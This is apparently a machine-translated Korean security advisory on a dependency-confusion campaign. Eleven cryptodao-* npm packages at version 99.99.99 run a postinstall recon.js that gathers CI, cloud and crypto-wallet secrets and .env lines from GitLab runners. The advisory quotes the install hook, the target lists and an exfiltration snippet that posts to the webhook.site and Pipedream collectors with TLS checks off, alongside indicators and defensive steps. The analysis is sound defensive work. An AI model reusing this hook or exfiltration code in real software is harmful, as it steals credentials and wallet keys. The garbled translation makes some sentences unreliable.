TL; DR
2026년 06월 17일에 하나의 npm 계정이 게시했습니다. 하나의 목적과 하나의 탑재물을 공유하는 11개의 패키지그중 열 명이 그것을 들고 있다 cryptodao- 접두사 (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); 열한 번째는 범위가 지정됩니다. @public-for-cdao/core모두 해당 버전으로 게시되었습니다. 99.99.99 바이트 단위로 동일한 것을 배송합니다. recon.js 그 실행 postinstall.
이름만 봐도 알 수 있죠. 마치 암호화폐/DAO 프로젝트의 비공개 툴체인을 구성하는 내부 블록처럼 보입니다. 인위적으로 높은 버전으로 공개 npm 레지스트리에 게시된 이 패키지들은 빌드를 기다리고 있는 거죠. pipeline 이는 해당 이름들을 해석하도록 구성되어 있으며, 비공개 레지스트리보다 먼저 또는 비공개 레지스트리 대신에 공개 npm에 도달합니다. 이것이 바로 의존성 혼란그리고 탑재체는 정확히 착륙할 위치에 맞춰 조정됩니다. CI/CD 주자.
인셀덤 공식 판매점인 postinstall 화재, recon.js 호스트 정보를 수집하고 대략적으로 스캔합니다. 클라우드, CI 및 암호화폐 지갑 환경 변수 40개, 어떤 것이든 읽습니다 .env 해당 프로그램은 찾을 수 있는 파일을 분석하고 비밀 정보가 담긴 줄을 그대로 전달한 다음, 그 묶음을 두 명의 수집가에게 전송합니다. webhook.site 그리고 TLS 인증서 검증이 비활성화된 Pipedream 엔드포인트도 있습니다. 사본은 다음 위치에도 작성되어 있습니다. /tmp.
심각도 : 높은영향을 받는 생태계: npm이 글을 쓰는 시점에서 11개의 패키지 모두 활성화되어 있었습니다.
공격 해부학
이 장치는 네 개의 움직이는 부품으로 이루어져 있으며, 일단 작동 방식을 알게 되면 어느 하나 미묘한 차이가 없습니다. 패키지 이름 바로 아래를 살펴보세요.
1. 버전 인플레이션을 리졸버 유인 수단으로 활용. 각 패키지는 버전을 명시합니다. 99.99.99패키지 관리자가 요청할 때 종속성 혼동이 발생합니다. 내부 이름이며, 공개 레지스트리도 확인하여 가장 최신 버전을 선택합니다. npm에서 캐럿 또는 와일드카드 범위를 선택할 때 기본적으로 선택되는 항목은 다음과 같습니다. 구성된 모든 소스 중에서 가장 만족스러운 버전; 개인용인 경우 동일한 이름에 대해 레지스트리와 공개 npm 응답이 일치할 경우, 버전 번호가 더 큰 쪽이 우선합니다. A 99.99.99 프로젝트가 갖게 될 실제 내부 버전보다 사실상 우선순위가 높습니다. 도달했으므로 개인 소스에 고정되지 않은 리졸버가 우선합니다. 공개된 — 그리고 이 경우에는 적대적인 — 사본입니다. 운영자는 알 필요가 없습니다. 대상의 실제 버전 번호; 터무니없는 최대값을 선택하면 항상 동점이 발생합니다. 그들의 길을 열어준다.
2. 설치 후 트리거. package.json 페이로드를 설치 장치에 연결합니다. 수명 주기:
{ "scripts": { "postinstall": "node recon.js" } } 패키지를 가져올 필요가 없습니다. CI 환경에서 설치만 하면 됩니다. pipeline 자동으로 실행됩니다 — recon.js.
3. 광범위한 비밀 수사. recon.js 결과 배열을 단계적으로 구성합니다.
- 호스트 컨텍스트: 호스트 이름, 플랫폼 및 릴리스, 아키텍처, 사용자 이름, 작업 중 디렉토리.
- 환경 변수: 약 40개의 이름과 레코드로 구성된 고정된 목록을 순회합니다. 설정된 모든 항목. 이 목록은 일반적인 CI 토큰들을 짝지어 보여주므로 매우 흥미롭습니다. (CI_JOB_TOKEN, CI_등록_비밀번호, GITLAB_ACCESS_TOKEN) 및 클라우드 자격 증명(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_세션_토큰) 레지스트리 및 컨테이너 비밀 키를 사용하여 (NPM_토큰, 도커 비밀번호, 항구_비밀번호) 그리고 확실히 암호화 테마가 강한 클러스터: 개인 키, 니모닉, 시드_프레이즈, INFURA_API_KEY, 연금술_API_키, 이더리움_RPC, BSC_RPC기록된 값은 처음 50자까지만 표시됩니다.
- .env 파일: 경로 목록을 조사합니다. .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, 그리고 .생산/.개발 변형 — 그리고 존재하는 모든 파일에 대해, 내용에서 일치하는 줄만 필터링합니다. 키|비밀|토큰|비밀번호|개인|니모닉 그리고 해당 줄들을 **잘리지 않고** 그대로 결과에 포함시킵니다.
- 빌드 호스트 컨텍스트: 처음 20개 항목을 나열합니다. /빌드/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/예산 및 / tmp /.
경로 목록과 변수 목록은 GitLab 실행기에 가중치가 부여되어 있습니다. 공격 대상이 개발자가 아니라 자체 호스팅 CI 인프라라는 것이 핵심입니다. 노트북. 수확물 목록을 범주별로 분류하면 목표 수확량을 명확히 알 수 있습니다.
| 카테고리 | 도달한 변수/경로 |
|---|---|
| CI/CD 신원 확인 및 배포 | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| 클라우드 | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| 레지스트리 및 컨테이너 | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| 데이터 저장소 | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| 암호화폐/블록체인 | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| 메시징 | SLACK_TOKEN, DISCORD_TOKEN |
| 디스크상 | .env 가족 + /home/gitlab-runner/.env, /root/.env, /app/**/.env; 디렉토리 목록 /builds/, /var/lib/gitlab-runner/ |
암호화 클러스터는 이것을 일반적인 CI-secret과 구별하는 부분입니다. sweep: 지갑 시드 구문과 서명 키는 특정 환경에서만 나타납니다. 블록체인 프로젝트이며, 이는 블록체인에 직접적으로 매핑됩니다. 크립토다오-/기호/계약 운송업체 명칭 지정.
4. 검증 기능이 비활성화된 이중 데이터 유출. 수집된 배열은 다음과 같습니다. 직렬화되어 두 곳으로 POST 방식으로 전송됩니다.
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) 거부됨(권한 없음): 거짓 아웃바운드에 대한 TLS 인증서 검사를 비활성화합니다. 호출. 동일한 데이터가 표준 출력으로 출력됩니다(따라서 CI 작업 로그에도 기록됩니다). 기록 /tmp/.npm_recon_ .json오류는 조용히 묻혀버립니다. 전송 실패는 설치 출력에 단 하나의 흔적 외에는 아무런 흔적도 남기지 않습니다. [재정찰] 설치된 줄입니다.
해당 파일의 주요 주석에는 이를 "의존성 혼동"이라고 설명하고 있습니다. 정찰 페이로드." 환경 값의 50자 제한으로 인해 개념 증명의 형태입니다. 단순히 존재 여부만 알려주는 비콘을 넘어서는 점은 다음과 같습니다. .env 처리: 비밀 유지 회선은 모두 전달되며, 목적지는 다음과 같습니다. 단순히 개수만 세는 싱크가 아니라, 공격자가 제어하는 두 개의 작동하는 수집기가 있는 것입니다. 안타.
연혁
게시 패턴은 단일 스크립트 푸시의 특징이지, 11번의 푸시가 아닙니다. 개별 업로드.
| 시간 (UTC, 2026년 06월 17일) | 이벤트 |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 출판 |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — 스코프 변형, 약 24분 후 |
29초 동안 10개의 소포가 발송되었는데, 대략 3초에 하나씩 발송된 셈입니다. 범위가 지정된 @public-for-cdao/core 약 24분 후에 두 번째 사건이 발생했습니다. 동일한 대상에 대한 명명 규칙(소비하는 프로젝트가 참조하는 경우) 내부 툴체인은 이름만으로 나타내는 것이 아니라 스코프 아래에 명시합니다.
타협의 지표
| 타입 | 지시자 |
|---|---|
| 수집가 | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| 수집가 | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| 설치 후크 | postinstall: node recon.js |
| 드롭된 파일 | /tmp/.npm_recon_<timestamp>.json |
| 로그 마커 | [recon] <pkg>@<ver> installed on <hostname> (CI 로그의 표준 출력) |
| 행동의 | rejectUnauthorized: false 설치 중 외부 HTTPS 연결 |
| Payload | recon.js11개 패키지 모두 동일합니다(공유 빌드 1개). |
| 버전 | 99.99.99 모든 패키지에 |
| 패키지 | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (모든 99.99.99) |
| 작성자 | aduljune / aduljune@proton.me (이메일 주소 미확인, 소스 저장소 링크 없음) |
귀인 및 관찰된 행동
클러스터와 관련된 모든 정황은 한 사람의 소행을 가리킵니다. 11개의 패키지가 모두 공개되었습니다. npm 계정에서 아둘준 (aduljune@proton.me확인되지 않은 주소 연결된 소스 저장소)를 25분 이내에, 동시에 99.99.99 번역, 배송 recon.js 모든 파일에서 내용이 바이트 단위로 완전히 동일한 파일입니다. 패키지(추출된 11개 사본 모두에서 MD5가 일치함). 이것이 하나의 페이로드입니다. 이름 목록에 각인된 것이지, 독립적인 코드 재사용이 아닙니다.
이름 목록은 의도된 대상을 정의합니다. 크립토다오-* CDAO 설명 암호화/DAO 프로젝트의 비공개 모듈 레이아웃 및 페이로드의 수집 목록 이는 일반적인 CI 및 클라우드 비밀 정보와 더불어 다음과 같은 점을 암시합니다. 도달하다 개인 키, 니모닉, 시드_프레이즈그리고 이더리움/BSC RPC 및 공급자 키. .env 검색 경로 및 디렉토리 목록은 GitLab-runner입니다. 구체적인. 관찰 가능한 효과는 어떤 것이든 pipeline 이것들을 설치하도록 속았습니다 이름은 CI 토큰, 클라우드 키 및 디스크에 저장된 키를 전달합니다. .env 비밀 — 그리고, 블록체인 프로젝트와 해당 지갑 자료를 두 명의 제3자 수집가에게 제공합니다.
우리는 누가 해당 계정을 운영하는지 또는 그들이 해당 계정으로 무엇을 하려고 계획했는지에 대해 어떠한 주장도 하지 않습니다. 데이터. 그 자체로 사실인 것들: 이름들은 특정 유형을 겨냥합니다. 내부 툴체인을 통해 페이로드는 실제 비밀 값을 읽고 전송합니다. 인프라가 가동 중이었습니다.
영향, 트렌드 및 수비 지침
의존성 혼동 이 방법이 효과적인 이유는 해석기 동작을 이용하기 때문이지, 다른 이유가 있는 것은 아닙니다. 어떤 포장이든 취약점이 있습니다. 여기서 운송업체는 사소한 문제입니다. 거의 비어있는 상자 11개입니다. 패키지 — 하지만 폭발 반경은 얼마든지 다릅니다 pipeline 실수로 공개 npm을 선호합니다. 내부 이름을 위해서요. CI 실행기는 그런 일이 발생하기에 최악의 장소입니다. CI 실행기는 내부 이름을 보유합니다. 정확히 토큰과 .env 이 페이로드가 읽는 파일과 설치되는 파일 비대화형 방식으로 종속성을 처리하므로, 설치 후 아무도 보지 않는 곳에서 달린다.
이 클러스터는 우리가 계속해서 목격하는 패턴과도 일치합니다. 즉, 설치 시 표시되는 페이로드가 있다는 것입니다. 실제 자격 증명 수집을 하면서 "연구" 또는 "정찰"이라고 부르는 것. 파일 내용이 실행기에서 코드의 동작을 변경하지는 않습니다. 두 가지 설계 선택으로 인해 다음과 같은 결과가 나타납니다. 활동은 조용합니다. 모든 네트워크 및 파일 시스템 작업은 하나의 패키지로 묶여 있습니다. 전송 차단이나 파일 누락과 같은 오류를 무시하는 예외 처리기 진단 출력은 전혀 없으며, 인쇄되는 유일한 내용은 무해한 텍스트 하나뿐입니다. [recon] … 설치됨 일반적인 설치 과정에서 발생하는 잡음에 섞이는 선. webhook.site 그리고 Pipedream은 의도적인 편의성을 제공합니다. 둘 다 무료입니다. 요청 캡처 서비스가 즉시 프로비저닝되므로 운영자는 서버가 필요하지 않습니다. 자체적인 경로와 목적지는 송신 로그에서 일반적인 SaaS 호스트 이름처럼 보입니다.
경제적인 측면이 바로 이것이 옹호자가 주목할 만한 가치가 있는 이유입니다. 통신사 코드는 사소한 문제입니다. 11개의 이름을 등록하는 데 비용이 들지 않으며, 페이로드는 하나입니다. 파일이 11번 복사되고 패키지 관리자가 모든 실행을 수행합니다. 단 한 번의 잘못 구성됨 pipeline 이 이름들 중 하나라도 소비하는 곳은 전체 비용을 지불해야 합니다. 작동.
수비수들을 위한 구체적인 조치:
- 내부 스코프를 개인 레지스트리에 고정하세요. npm을 구성하여 내부 이름을 지정합니다.
스코프는 사용자의 레지스트리(스코프가 지정된 .npmrc 레지스트리 매핑)에 대해서만 확인됩니다. (또는 소유한 네임스페이스에 대해 공개 npm으로 연결되지 않는 프록시를 사용할 수도 있습니다.) 다른 사람이 등록할 수 없도록 공개 범위 이름을 예약하세요.
- Commit lockfiles를 사용하고 --ignore-scripts 옵션을 선택하여 설치하세요. CI에서 가능한 경우, 또는 설치 스크립트가 실제로 필요한 소수의 종속성을 검토합니다. recon.js는 다음과 같은 경우 실행할 수 없습니다. 설치 후 실행되지 않습니다.
- 내부용처럼 보이는 이름의 99.99.99(또는 그 외 터무니없이 높은 값) 버전을 취급하십시오. 위험 신호로 종속성 검토 및 레지스트리 모니터링에서.
- 설치 중 종료 시 알림. A 설치 후 외부 HTTPS 연결을 엽니다. 연결 — 특히 인증서 확인이 비활성화된 경우 — webhook.site, Pipedream 또는 이와 유사한 요청 캡처 서비스는 네트워크 경계에서 차단하고 빌드 로그에 표시하는 것이 좋습니다.
- 유물을 찾아보세요. 주자를 확인하세요 /tmp/.npm_recon_*.json 과의 [recon] … 최근 CI 로그에 … 마커가 설치되었습니다. 발견되면 매번 로그를 순환합니다. 그 자격 증명이 노출되었습니다 pipeline — CI 토큰, 클라우드 키, 레지스트리 토큰, 그리고 환경 변수 또는 .env 파일에 있는 모든 지갑 시드 또는 개인 키.
참고자료
이 클러스터에 대한 외부 보고서는 작성 시점에 존재하지 않았으며, 분석은 다음과 같습니다. 위 내용은 공개된 패키지 내용을 직접 기반으로 작성되었습니다.




